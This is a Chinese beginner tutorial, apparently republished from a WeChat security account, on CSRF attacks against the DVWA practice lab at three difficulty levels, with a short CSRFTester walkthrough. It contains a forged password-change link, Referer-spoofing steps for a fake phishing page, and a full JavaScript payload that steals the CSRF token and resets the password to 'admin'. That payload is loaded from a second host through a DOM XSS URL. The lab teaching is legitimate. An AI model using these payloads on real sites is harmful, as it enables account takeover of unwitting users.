首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >今日起,每周更新2+基础学习文章哦!今天是CSRF漏洞学习

今日起,每周更新2+基础学习文章哦!今天是CSRF漏洞学习

作者头像
网e渗透安全部
发布2025-06-24 11:26:26
发布2025-06-24 11:26:26
3340
举报
文章被收录于专栏:白安全组白安全组

1

新手学习系列篇

 从今天起我会持续更新新手学习系列教学,逐步完善对于新手入门学习与理解各种基础技术的应用与实战,初学者可以多关注哦!

本章将针对DVWA靶场中的CSRF漏洞进行讲解,帮助大家快速从实战中理解什么是CSRF。

靶场地址可以访问www.wangehacker.cn中找到社团资源,找到对应的靶场,也可自行本地搭建。(网上搜DVWA靶场搭建会有很多)

任务一、基于DVWA的low级别实现CSRF攻击

首先我们运行靶场来准备实验,难度级别调制low

图片
图片

然后选择csrf关卡

图片
图片

提交一下数据我们使用burp来抓个包

图片
图片

这里是我们提交的数据

GET /DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1

然后我们将中间提交的语句进行拼接,和url地址拼接

http://192.168.0.107/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

我们访问这个地址就可以修改密码了

图片
图片

任务二、基于DVWA的 Medium级别实现CSRF攻击

我们先修改一下等级

图片
图片

然后我们还是回到csrf中进行实验

分析这个安全等级的源码,会判断数据包referer是否一致

这里我们先截取一下正常提交修改页面的Referer的值

比如我们利用一个钓鱼网站发出的请求,我们就需要修改这个钓鱼网站的请求数据,也就是其中的referer后面的值

我先在kali中简单构造一个页面来发出链接

图片
图片
图片
图片

这里我简单构造了一个

点击这个链接就会发送任务一中的构造的修改密码的链接

图片
图片

但是这里因为换了安全等级,所以原先的方式已经无法修改密码了

我们先登录原来的站点来抓取一下Referer头

图片
图片

将这里的复制下来

http://192.168.0.107/DVWA-master/vulnerabilities/csrf/

然后将这个包丢弃掉

图片
图片

我们回到我们的假冒站点中去

提交的时候抓包截取

图片
图片

然后将我们之前拿到的原网站得到的Referer内容复制上去发送

图片
图片

点击发送

图片
图片

这里直接修改成功了

第二个方式就是我们修改一下目录结构来满足Referer的要求

首先新建一个文件夹命名为原网站url地址,然后将文件放进去

图片
图片

然后我们修改文件权限

图片
图片

chown www-data:www-data 192.168.0.107 -R

修改referer策略

手工指定策略

图片
图片

<meta name="referrer" content="no-referrer-when-downgrade">

修改完成,我们再打开假冒页面进行访问发送

图片
图片

抓包看一下

图片
图片
图片
图片

任务三、基于DVWA的High级别实现CSRF攻击

首先修改安全级别

图片
图片

分析源码,这里要求我们提交时候有一个token的验证,这个验证无法绕过,只能通过xss的方式盗取

我们先进行一个xss的漏洞利用

图片
图片

这里可以看到设置了白名单,只能使用白名单中的字符

思路就是使用#,#后的字符不会被发送到服务器,会在本地直接执行

图片
图片

我们来构造一个js文件来进行csrf攻击

图片
图片

//弹出 cookie

alert(document.cookie);

//定义 AJAX 加载的页面

var theUrl = 'http://192.168.1.63/DVWA-master/vulnerabilities/csrf/';

//匹配浏览器

if (window.XMLHttpRequest){

// IE7+, Firefox, Chrome, Opera, Safari

xmlhttp=new XMLHttpRequest();

}else{

// IE6, IE5

xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

}var count = 0;

//页面加载完成后执行函数

xmlhttp.onreadystatechange=function(){

//判断请求已完成并且响应就绪状态码为 200 时执行代码

if (xmlhttp.readyState==4 && xmlhttp.status==200)

{//页面内容存储到 text 中进行匹配 token

var text = xmlhttp.responseText;

var regex = /user_token\' value\=\'(.*?)\' \/\>/;

var match = text.match(regex);

console.log(match);

//弹出 token

alert(match[1]);

var token = match[1];

//定义 payload url 并绑定 token 为我们从页面匹配到的 token 并且定义新的密码,新密码是

admin

var new_url = 'http://192.168.1.63/DVWAmaster/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&pass

word_conf=admin&Change=Change'

//GET 方式提交一次 new_url

if(count==0){

count++;

xmlhttp.open("GET",new_url,false);

xmlhttp.send();

} }

};

//GET 方式提交 theUrl

xmlhttp.open("GET",theUrl,false);

xmlhttp.send();

然后构建payload

192.168.0.107/DVWA-master/vulnerabilities/xss_d/?default=English#<script src="http://192.168.0.106/csrf.js"></script>

图片
图片

任务四、使用CSRFTester进行自动化探测CSRF漏洞

我们直接打开软件,需要一个Java环境

图片
图片
图片
图片

设置一下浏览器代理

图片
图片

然后使用,打开软件监听

图片
图片

然后我们对靶场进行操作,输入

这时软件会记录

图片
图片

修改一下

图片
图片
图片
图片

生成html页面

图片
图片

去掉勾,生成

打开文件中的页面

保留下面的我们提交的内容

图片
图片

还有一些多余的删掉

图片
图片

打开文件,然后访问到这个页面发现添加了成功

可以判定没有csrf过滤

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-06-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档